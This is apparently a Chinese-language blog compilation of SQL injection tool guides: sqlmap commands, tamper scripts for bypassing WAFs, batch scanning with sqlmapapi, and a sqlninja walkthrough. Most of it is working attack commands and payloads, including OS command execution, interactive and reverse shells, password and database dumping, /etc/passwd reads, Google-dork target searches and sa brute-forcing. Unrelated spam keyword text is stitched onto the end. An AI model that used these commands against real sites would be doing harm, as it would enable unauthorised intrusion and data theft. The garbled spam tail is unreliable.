sqlmap.py -u "url" --os-cmd="net user" /*執行net user命令*/ sqlmap.py -u "url" --os-shell /*系統交互的shell*/


8.注入HTTP請求 :

sqlmap.py -r xxx.txt --dbs /*xxx.txt內容為HTTP請求*/


9.繞過WAF的tamper插件使用:

sqlmap 的 tamper目錄下有用于繞過waf的腳本(KALI目錄位置:/usr/share/sqlmap/tamper/ )。

如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print

sqlmap.py -u "url" --tamper "xxx.py" sqlmap.py -u "url" --tamper="xxx.py" 關于tamper腳本詳細說明在本博客中有,鏈接為:http://www.matsec.cn/?id=5

如何使用SQLMap繞過WAF:http://www.freebuf.com/articles/1000.html

繞過WAF、安全狗知識整理:http://blog.csdn.net/hxsstar/article/details/24771085

tamper 一些腳本說明 ( http://blog.csdn.net/hxsstar/article/details/22782627?):

支持的數據庫

編號

腳本名稱

作用

實現方式

all

1

apostrophemask.py

utf8代替引號

("1?AND?'1'='1")?
'1?AND?%EF%BC%871%EF%BC%87=%EF%BC%871'?

2

base64encode.py?

base64編碼替換

("1'?AND?SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

3

multiplespaces.py

圍繞SQL關鍵字添加多個空格

('1?UNION?SELECT?foobar')
'1????UNION?????SELECT???foobar'

4

space2plus.py

+替換空格

('SELECT?id?FROM?users')
'SELECT+id+FROM+users'

5

nonrecursivereplacement.py

雙重查詢語句。取代predefined?SQL關鍵字with表示?
suitable?for
替代(例如??.replace“SELECT””")?filters

('1?UNION?SELECT?2--')
'1?UNIOUNIONN?SELESELECTCT?2--'

6

space2randomblank.py

代替空格字符(“”)從一個隨機的空
白字符可選字符的有效集

('SELECT?id?FROM?users')
'SELECT%0Did%0DFROM%0Ausers'

7

unionalltounion.py

替換UNION?ALL?SELECT?UNION?SELECT

('-1?UNION?ALL?SELECT')
'-1?UNION?SELECT'

8

securesphere.py

追加特制的字符串

('1?AND?1=1')
"1?AND?1=1?and?'0having'='0having'"

mssql

1

space2hash.py

繞過過濾‘=’?替換空格字符(),(’?–?‘)后跟一個破折號注釋一個隨機字符串和一個新行(’?n’

'1?AND?9227=9227'?
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'?

2

equaltolike.py

like?代替等號

*?Input:?SELECT?*?FROM?users?WHERE?id=1?
2?*?Output:?SELECT?*?FROM?users?WHERE?id?LIKE?1?

3

space2mssqlblank.py(mssql)

空格替換為其它空符號

Input:?SELECT?id?FROM?users
Output:?SELECT%08id%02FROM%0Fusers

4

space2mssqlhash.py

替換空格

('1?AND?9227=9227')
'1%23%0AAND%23%0A9227=9227'

5

between.py

between替換大于號(>

('1?AND?A?>?B--')
'1?AND?A?NOT?BETWEEN?0?AND?B--'

6

percentage.py

asp允許每個字符前面添加一個%

*?Input:?SELECT?FIELD?FROM?TABLE
*?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E

7

sp_password.py

追加sp_password’DBMS日志的自動模糊處理的有效載荷的末尾

('1?AND?9227=9227--?')
'1?AND?9227=9227--?sp_password'

8

charencode.py

url編碼

*?Input:?SELECT?FIELD?FROM%20TABLE
*?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

9

randomcase.py

隨機大小寫

*?Input:?INSERT
*?Output:?InsERt

10

charunicodeencode.py

字符串?unicode?編碼

*?Input:?SELECT?FIELD%20FROM?TABLE
*?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

11

space2comment.py

Replaces?space?character?(‘?‘)?with?comments?‘/**/’

*?Input:?SELECT?id?FROM?users
*?Output:?SELECT//id//FROM/**/users

mysql?>=?5.1.13

1

equaltolike.py

like?代替等號


*?Input:?SELECT?*?FROM?users?WHERE?id=1?
2?*?Output:?SELECT?*?FROM?users?WHERE?id?LIKE?1?

2

greatest.py

繞過過濾’>’?,GREATEST替換大于號。

('1?AND?A?>?B')
'1?AND?GREATEST(A,B+1)=A'

3

apostrophenullencode.py

繞過過濾雙引號,替換字符和雙引號。

tamper("1?AND?'1'='1")

'1?AND?%00%271%00%27=%00%271'

4

ifnull2ifisnull.py

繞過對?IFNULL?過濾。
替換類似’IFNULL(A,?B)’’IF(ISNULL(A),?B,?A)’

('IFNULL(1,?2)')
'IF(ISNULL(1),2,1)'

5

space2mssqlhash.py

替換空格

('1?AND?9227=9227')
'1%23%0AAND%23%0A9227=9227'

6

modsecurityversioned.py

過濾空格,包含完整的查詢版本注釋

('1?AND?2>1--')
'1?/*!30874AND?2>1*/--'

7

space2mysqlblank.py

空格替換其它空白符號(mysql)

Input:?SELECT?id?FROM?users
Output:?SELECT%0Bid%0BFROM%A0users

8

between.py

between替換大于號(>

('1?AND?A?>?B--')
'1?AND?A?NOT?BETWEEN?0?AND?B--'

9

modsecurityzeroversioned.py

包含了完整的查詢與零版本注釋

('1?AND?2>1--')
'1?/*!00000AND?2>1*/--'

10

space2mysqldash.py

替換空格字符()(’?–?‘)后跟一個破折號注釋一個新行(’?n’

('1?AND?9227=9227')
'1--%0AAND--%0A9227=9227'

11

bluecoat.py

代替空格字符后與一個有效的隨機空白字符的SQL語句。
然后替換=like

('SELECT?id?FROM?users?where?id?=?1')
'SELECT%09id?FROM?users?where?id?LIKE?1'

12

percentage.py

asp允許每個字符前面添加一個%

*?Input:?SELECT?FIELD?FROM?TABLE
*?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E

13

charencode.py

url編碼

*?Input:?SELECT?FIELD?FROM%20TABLE
*?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

14

randomcase.py

隨機大小寫

*?Input:?INSERT
*?Output:?InsERt

15

versionedkeywords.py

Encloses?each?non-function?keyword?with?versioned?MySQL?comment

*?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
*?Output:?1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,?CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

16

space2comment.py

Replaces?space?character?(‘?‘)?with?comments?‘/**/’

*?Input:?SELECT?id?FROM?users
*?Output:?SELECT//id//FROM/**/users

17

charunicodeencode.py

字符串?unicode?編碼

*?Input:?SELECT?FIELD%20FROM?TABLE
*?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

18

versionedmorekeywords.py

注釋繞過

*?Input:?1?UNION?ALL?SELECT?NULL,?NULL,?CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
*?Output:?1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

MySQL?<?5.1

19

halfversionedmorekeywords.py

關鍵字前加注釋

*?Input:?value’?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?‘QDWa’='QDWa
*?Output:?value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),?NULL,?NULL#/*!0AND?‘QDWa’='QDWa

20

halfversionedmorekeywords.py

當數據庫為mysql時繞過防火墻,每個關鍵字之前添加
mysql
版本評論

1.("value'?UNION?ALL?SELECT?CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()?AS?CHAR),CHAR(32)),CHAR(58,97,110,121,58)),?NULL,?NULL#?AND?'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND?'QDWa'='QDWa"

MySQL?>=?5.1.13

21

space2morehash.py

空格替換為?#?以及更多隨機字符串?換行符

*?Input:?1?AND?9227=9227
*?Output:?1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

?Oracle

1

greatest.py

繞過過濾’>’?,GREATEST替換大于號。

('1?AND?A?>?B')
'1?AND?GREATEST(A,B+1)=A'

2

apostrophenullencode.py

繞過過濾雙引號,替換字符和雙引號。

tamper("1?AND?'1'='1")

'1?AND?%00%271%00%27=%00%271'

3

between.py

between替換大于號(>

('1?AND?A?>?B--')
'1?AND?A?NOT?BETWEEN?0?AND?B--'

4

charencode.py

url編碼

*?Input:?SELECT?FIELD?FROM%20TABLE
*?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

5

randomcase.py

隨機大小寫

*?Input:?INSERT
*?Output:?InsERt

6

charunicodeencode.py

字符串?unicode?編碼

*?Input:?SELECT?FIELD%20FROM?TABLE
*?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

7

space2comment.py

Replaces?space?character?(‘?‘)?with?comments?‘/**/’

*?Input:?SELECT?id?FROM?users
*?Output:?SELECT//id//FROM/**/users

?PostgreSQL

1

greatest.py

繞過過濾’>’?,GREATEST替換大于號。

('1?AND?A?>?B')
'1?AND?GREATEST(A,B+1)=A'

2

apostrophenullencode.py

繞過過濾雙引號,替換字符和雙引號。

tamper("1?AND?'1'='1")

'1?AND?%00%271%00%27=%00%271'

3

between.py

between替換大于號(>

('1?AND?A?>?B--')
'1?AND?A?NOT?BETWEEN?0?AND?B--'

4

percentage.py

asp允許每個字符前面添加一個%

*?Input:?SELECT?FIELD?FROM?TABLE
*?Output:?%S%E%L%E%C%T?%F%I%E%L%D?%F%R%O%M?%T%A%B%L%E

5

charencode.py

url編碼

*?Input:?SELECT?FIELD?FROM%20TABLE
*?Output:?%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

6

randomcase.py

隨機大小寫

*?Input:?INSERT
*?Output:?InsERt

7

charunicodeencode.py

字符串?unicode?編碼

*?Input:?SELECT?FIELD%20FROM?TABLE
*?Output:?%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

8

space2comment.py

Replaces?space?character?(‘?‘)?with?comments?‘/**/’

*?Input:?SELECT?id?FROM?users
*?Output:?SELECT//id//FROM/**/users

Access

1

appendnullbyte.py

在有效負荷結束位置加載零字節字符編碼

('1?AND?1=1')
'1?AND?1=1%00'

其他

?

chardoubleencode.py

url編碼(不處理以編碼的)

*?Input:?SELECT?FIELD?FROM%20TABLE
*?Output:?%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

?

unmagicquotes.py

寬字符繞過?GPC??addslashes

*?Input:?1′?AND?1=1
*?Output:?1%bf%27?AND?1=1–%20

?

randomcomments.py

/**/分割sql關鍵字

‘INSERT’?becomes?‘IN//S//ERT’









??


10 .將注入語句插入到指定位置:

sqlmap.py -u "url(www.xxx.com/id/1*.html)" --dbs 有些網站是采用偽靜態的頁面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”參數將SQL語句插入指定位置,一般用于偽靜態注入。 在使用HTTP注入時使用-r參數也可以直接在文本中添加*號


11.請求延時注入

sqlmap --dbs -u url --delay 1(時間(秒),可隨意) sqlmap --dbs -u url --safe-freq 1(請求次數,可隨意)


12 .使用谷歌語法搜索注入(Google hack):

sqlmap.py -g "inurl:asp?id=1" /* "" 內為搜索語法,如:inurl,intitle,site,filetype等等demon表哥:www.ggsec.cn(主要是metasploit技術) mat表哥:www.matsec.cn (偏實戰技術,和滲透思想)


單個注入

sqlmap -u "http://www.xxx.com/index.php" --cookie "id=1" --dbs --level 2 ?
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --clumns -T 表段 –level 2 ?
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --dump -T 表段 -C “user,pass” –level 2 ?

偽靜態注入

目標站點:http://www.xxxx.com/id/3-1.html ? ? ?sqlmap -u "www.xxxx.com/id/3*.html" --dbs?


2. 默認情況下SQLMAP只支持GET/POST參數的注入測試,
? ?但是當使用–level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候將檢查User-agent和Referer,
? ?那么這就很簡單了,我 們直接在原有的基礎上面加上 --level 2 即可
? ?利用sqlmap cookies注入突破用戶登錄繼續注入
? ?先把用戶登陸的cookie拿到吧,
? ?在收藏夾添加一個鏈接cookies屬性:
? ?名字自己取
? ?javascript:alert(document.cookie),,需要獲取當前cookie的時候,
? ?直接點一下這個鏈接,然后復制一下彈出對話框
? ?里的cookie值就搞定了
? ?sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
? ?-p是指指定參數注入
4. sqlmap遇到url重寫的注入
? ?哪里存在注入就加上 * 號
? ?./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 編碼繞waf注入
? ?./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
? ?在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載


其他基礎:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #獲取當前用戶名稱
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db ?#獲取當前數據庫名稱
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables ?-D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart ?–dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” ?–dump ?-C “column_name” ?-T “table_name” -D “db_name” -v 0 ? #獲取字段內容
?
?
?
******************信息獲取******************
sqlmap -u “ –smart –dbms “MySQL” –users ? ? ? #列數據庫用戶 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs ? ? ? ? #列數據庫 ?
sqlmap -u “ –smart –dbms “Mysql”–passwords ? ?#數據庫用戶密碼 ?
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root ?-v 0 ? #列出指定用戶數據庫密碼 ?
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 ? ? ? ? ? #列出所有數據庫所有表 ??
sqlmap -u “ –smart –dbms “Mysql”–privileges ? ? ? ? ? ? ? #查看權限 ?
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root ? ? ? #查看指定用戶權限 ?
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 ? ? ? ? ? ? #是否是數據庫管理員 ?
sqlmap -u “ –smart –dbms “Mysql” –roles ? ? ? ? ? ? ? ? ? #枚舉數據庫用戶角色 ?
sqlmap -u “ –smart –dbms “Mysql”–udf-inject ? ? ? ? ? ? ? #導入用戶自定義函數(獲取系統權限!) ?
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 ? ?#列出當前庫所有表 ?
sqlmap -u “ –smart –dbms “Mysql” –union-check ? ? ? ? ? ? #是否支持union 注入 ?
sqlmap -u “ –smart –dbms “Mysql”–union-cols ? ? ? ? ? ? ? #union 查詢表記錄 ?
sqlmap -u “ –smart –dbms “Mysql” –union-test ? ? ? ? ? ? ?#union 語句測試 ?
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner ? ? ? #采用union 注入 ?
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby ? ? ? #union 配合 order by ?
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ ? ?#post注入 ?
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” ? ? #cookie注入 ?
sqlmap -u “ –smart –dbms “Mysql”-b ? ? ? ? ? ? ? ? ? ? ? ? #獲取banner信息?
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f ? ?#指紋判別數據庫類型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118” ? #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“ ? ? #指定關鍵詞
sqlmap -u “ –smart –dbms “Mysql”–sql-shell ? ? ? ? ? ? ? ? ? ? ? #執行指定sql命令 ?
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd ?
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami ? ? ? ? ? ? #執行系統命令 ?
sqlmap -u “ –smart –dbms “Mysql”–os-shell ? ? ? ? ? ? ? ? ?#系統交互shell ?
sqlmap -u “ –smart –dbms “Mysql”–os-pwn ? ? ? ? ? ? ? ? ? ?#反彈shell ?
sqlmap -u “ –smart –dbms “Mysql”–reg-read ? ? ? ? ? ? ? ? ?#讀取win系統注冊表 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log” ? ? ? #保存進度 ?
sqlmap -u “ –smart –dbms “Mysql” –dbs ?-o “sqlmap.log” –resume ? ?#恢復已保存進度?



使用sqlmapapi.py批量化掃描實踐

0x00 前言


sqlmap可謂是sql注入探測的神器,優秀的探測功能可以讓任何一個使用者無基礎挖掘sql注入。wooyun上關于sqlmap的文章已經有6篇了,都沒有科 普sqlmapapi.py。因此我打算分享下這方面的實踐。利用sqlmap測試SQL注入的效率很低,每一個url都需要手動測試,這樣肯定不是理想狀態。 sqlmap的作者肯定也察覺到這一點了,默默的開發了sqlmapapi.py,當你使用了sqlmapapi.py后才能體會到sqlmap的強大。sqlmap構建了一個自動化 分布式的掃描帝國!這篇文章我主要從sqlmapapi.py的代碼角度和AutoSqli類的設計與實現的角度展開。

0x01 sqlmapapi.py綜述


sqlmapapi.py給使用者提供了一個強大的功能,服務功能。使用者可以利用sqlmapapi.py開啟服務端口,以后只要向sqlmapapi發送請求,就可以進行sql注入,然后發送查詢請求,就可以得到這個url是否是注入點,以及詳細的內容。同學們看到這里是不是有些小激動呢? sqlmapapi.py的help,我們需要用的是-s參數,也許你也有可能用到-p參數。


從sqlmapapi.py文件可以看出來,我們利用的文件的調用關系是


進入到lib/utils/api.py的server類,可以發現通過向server提交數據進行與服務的交互。 一共分為3種類型。

  • Users' methods 用戶方法
  • Admin function 管理函數
  • sqlmap core interact functions 核心交互函數

可以提交數據的種類如下。

用戶方法

  • @get("/task/new")
  • @get("/task//delete")

管理函數

  • @get("/admin//list")
  • @get("/admin//flush")

核心交互函數

  • @get("/option//list")
  • @post("/option//get")
  • @post("/option//set")
  • @post("/scan//start")
  • @get("/scan//stop")
  • @get("/scan//kill")
  • @get("/scan//status")
  • @get("/scan//data")
  • @get("/scan//log//")
  • @get("/scan//log")
  • @get("/download///")

不難發現這些操作可以完全滿足我們的測試需求,因此利用這些就可以批量了。當然每一種請求都會有不同的返回值,這些返回值是json的形式傳回, 解析就好了。其實這些我已經替大家做好了,調用AutoSqli類就可以了,但是還是要挑一些講下。

task/new 任務建立

GET /task/new Response: {"taskid": "1d47d7f046df1504" }/scan/<task_id>/status 掃描任務狀態 GET /scan/<task_id>/status Response: {"status": "terminated","returncode": 0 }

詳細內容請各自查閱代碼。

0x02 AutoSqli類


我封裝AutoSqli類的作用是想輕松的與sqlmapapi.py建立的server進行交互。

AutoSqli的run方法的執行邏輯圖


這些步驟就是正常sqlmap掃描的邏輯,因此調用AutoSqli就可以正常執行。

Show code


具體代碼查看Mspider項目的Autosqli.py文件。

https://github.com/manning23/MSpider

0x03 使用心得


AutoSqli類的初始化可以添加url的data,cookie,referer。因此無需顧慮探測需要登陸的頁面。


對于AutoSqli類的使用,主要注意option_set()方法的使用,其數據結構為字典,由于可添加的內容超長,因此想添加自動的測試設置請參考Mspider項 目的set_option.txt文件。


說道使用場景,其實我自己已經玩了好久了,說實話效果沒達到我的預期,分析下原因。

現在網站的sql注入確實少了,燒餅類型的主要點更少。

sqlmap的初始探針不怎么樣,想要精準判斷還需要研究,個人研究發現對于mysql數據庫,使用時間類型探針效果最好,當然需要自己寫探針,詳 細的參考Mayikissyou牛的文章。順便吐槽下,Mayikissyou牛的文章,對于探針的改寫真是蜻蜓點水啊,我研究了好久才把lijiejie的那些方法加 上:)

有想法的同學肯定希望我把Mspider和AutoSqli結合下,可是我覺得方法我已經分享了,剩下的同學自己實踐吧。實踐才能有新的想法。

sqlmapapi.py就是sqlmap為了分布式掃描SQL注入做的,但是資料真的很少,實踐的結果更少,希望這篇分享就當拋磚引玉了,有問題歡迎隨時和我交流。還有,Mayikissyou牛的文章真心推薦大家讀下,配合我這篇文章,sql注入真是想怎么玩就怎么玩了。

0x04 資料


http://volatile-minds.blogspot.jp/2013/04/unofficial-sqlmap-restful-api.html

http://drops.wooyun.org/tips/5254



sqlninja 說明


sqlninja —— 檢測SQL注入&征服一個網站
sqlininja 使用Microsoft SQL Server作為一個后端數據庫挖掘web應用漏洞。它聚焦于獲取遠程主機上正在運行的shell。起初,Sqlninja并不尋找SQL注入,而是在一個SQL注入被發現之后自動進行漏洞利用。sqlninja是一款用perl寫的一個專門針對Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja沒有將精力用在跑數據庫上,而是側重于獲得一個shell。

首先來介紹一下sqlninja的優點。

一個專門針對Microsoft SQL Server的sql注入工具
可找到遠程SQL服務器的標志和特征(版本、用戶執行的查詢、用戶特權、xp_cmdshell的可用性、身份驗證模式等)
“sa”口令的強力攻擊
如果找到口令后,就將特權提升到“sa”
如果原始的xp_cmdshell被禁用后,就創建一個定制的xp_cmdshell。
使用純粹的ASCII GET/POST請求來上載netcat.exe程序(以及其它任何可執行的程序),因此并不需要FTP連接。
為了找到目標網絡的防火墻所允許的端口,可以實施針對目標SQL 服務器的TCP/UDP端口掃描。
逃避技術,這是為了使注入式代碼“模糊”不清,并且混淆/繞過基于簽名的IPS和應用層防火墻。
采用“盲目執行”攻擊模式,在其它模式失效時,可以用于發布命令并執行診斷。
在sqlninja生成的SQL代碼上,執行的是自動化的URL編碼,這使得用戶可以更精細地控制漏洞利用的字符串。
如果得到權限為sa,可以結合msf進一步對目標主機進行滲透。

sqlninja的一些常用命令

root@kali:~# sqlninja Sqlninja rel. 0.2.6-r1 Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net> Usage: /usr/bin/sqlninja-m <mode> : Required. Available modes are: //加載modlet/test - test whether the injection is working //測試注入點是否可用f/fingerprint - fingerprint user, xp_cmdshell and moreb/bruteforce - bruteforce sa account //爆破sa口令用的。可以-w指定字典。不使用字典時sqlninja會自己窮舉。e/escalation - add user to sysadmin server rolex/resurrectxp - try to recreate xp_cmdshell //嘗試創建u/upload - upload a .scr file //上傳s/dirshell - start a direct shell //獲得一個目標主機的shellk/backscan - look for an open outbound port //查找目標主機允許哪些端口外連r/revshell - start a reverse shell //反彈shelld/dnstunnel - attempt a dns tunneled shelli/icmpshell - start a reverse ICMP shellc/sqlcmd - issue a 'blind' OS command //執行系統命令,如果為sa的話直接可以net userm/metasploit - wrapper to Metasploit stagers //配合msf使用-f <file> : configuration file (default: sqlninja.conf) //配置sqlninja.conf文件-p <password> : sa password-w <wordlist> : wordlist to use in bruteforce mode (dictionary method only) //字典文件的路徑。。爆破sa密碼用的-g : generate debug script and exit (only valid in upload mode)-v : verbose output-d <mode> : activate debug //調試模式1 - print each injected command2 - print each raw HTTP request3 - print each raw HTTP responseall - all of the above...see sqlninja-howto.html for details在-f下面又有以下參數0 - Database version (2000/2005) //檢測當前數據庫版本1 - Database user //當前數據庫用戶2 - Database user rights //當前數據庫用戶權限3 - Whether xp_cmdshell is working //檢查xp_cmdshell是否可以用4 - Whether mixed or Windows-only authentication is used //是否windows本地系統權限a - All of the above //以上所有選項h - Print this menu //顯示當前幫助菜單q - exit //退出

剛開是搞的時候,在網上搜了半天的資料也沒有找到怎么注入鏈接,參數里面沒有像 sqlmap那樣有 -u 參數,最后才知道是在配置目錄下的sqlninja.conf配置文件,打開配置文件后發現里面的選項特別多,這里只是簡單的進行注入,在配置文件中找到如下信息

# GET EXAMPLE: --httprequest_start-- GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1 Host: www.xxxx.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept:*/* Accept-Language: en-us,en;q=0.7,it;q=0.3 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Connection: Keep-alive --httprequest_end-- # # POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!) # --httprequest_start-- # POST https://www.victim.com/page.asp HTTP/1.0 # Host: www.victim.com # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* # Accept-Language: en-us,en;q=0.7,it;q=0.3 # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # Content-Type: application/x-www-form-urlencoded # Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx # Authorization: Basic yyyyyyyyyyyyyyyyyyyyy # Connection: close # # vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah # --httprequest_end-- # # HEADER-BASED EXAMPLE: # --httprequest_start-- # GET http://www.victim.com/page.asp HTTP/1.0 # Host: www.victim.com # User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8 # Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/* # Accept-Language: en-us,en;q=0.7,it;q=0.3 # Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # Content-Type: application/x-www-form-urlencoded # Cookie: VulnCookie=xxx'%3B__SQL2INJECT__ # Connection: close # --httprequest_end-- #

這里有三種方式GET,POST,HEADER-BASED三個配置例子,根據你的注入點進行抓包判斷,修改里面對應的信息,如果你會發現每個注入鏈接會有個;__SQL2INJECT__。所以在配置的時候不要忘記了加上。
如果要使用其他的功能比如結合msf的話,請自行加上相應的配置,以上步驟配置完成后,就可以進行測試了。

用./sqlninja -m test命令檢測注入點是否可用。成功的話會顯示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。

使用./sqlninja -m metasploit命令可以和msf相結合起來,讓滲透更加方便,如果使用metasploit里面的shellcode,這個默認是沒有啟用的,需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/ #去掉前面的注釋符號,這里修改成你的framework3的安裝位置。
如果有寫的不對的地方,歡迎留言更正。
如果需要更詳細的了解可以去http://sqlninja.sourceforge.NET/sqlninja-howto.html 看看


黑帽與白帽都喜愛的十大SQL注入工具:http://www.aqniu.com/industry/1449.html

國內外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822





總結

以上是生活随笔為你收集整理的sqlmap 详解的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

久免费视频 | 国产 日韩 欧美 在线 | 久久精品4 | 久久激情婷婷 | 欧美 亚洲 另类 激情 另类 | 久久免费在线观看 | 天天干天天干天天干天天干天天干天天干 | 欧美日韩久久不卡 | 国内精品美女在线观看 | 成人久久精品 | 91成人在线看| 在线免费av网 | 国产精品成人久久 | 国产自产高清不卡 | 国产精品久久久久久一二三四五 | 9992tv成人免费看片 | 午夜的福利 | 超碰在97| 夜夜操天天干, | 在线视频日韩 | 亚洲精品88欧美一区二区 | 人人爽人人爽人人片av免 | 欧美激情综合五月 | 在线观看日韩国产 | 久久久久女人精品毛片九一 | av资源在线观看 | 久久这里只有精品23 | 久久久久久久久久久综合 | 中文字幕在线看视频 | 国产一区二区精品久久 | 久久久免费看片 | 日本 在线 视频 中文 有码 | www.亚洲黄色 | 操操操综合 | 免费观看一区 | 久久精品国产亚洲a | 免费a v观看| 天堂在线视频免费观看 | 韩国三级在线一区 | 亚洲1级片| 久久人人爽视频 | 国产精品久久久久久久久久久杏吧 | 国产一区电影在线观看 | 久久久精品免费观看 | 免费av网站观看 | 日本精品视频一区二区 | 91亚洲精品久久久久图片蜜桃 | 国内免费久久久久久久久久久 | 美女黄网久久 | 久久五月婷婷综合 | 国产精品成久久久久三级 | 欧美在线99 | 国产.精品.日韩.另类.中文.在线.播放 | 日日草天天草 | 国产精品久久久久久久久久白浆 | 国产在线免费观看 | 97超碰免费 | 国产精品xxxx18a99 | 午夜精品久久久久久中宇69 | 最近中文字幕高清字幕在线视频 | 色婷婷啪啪免费在线电影观看 | 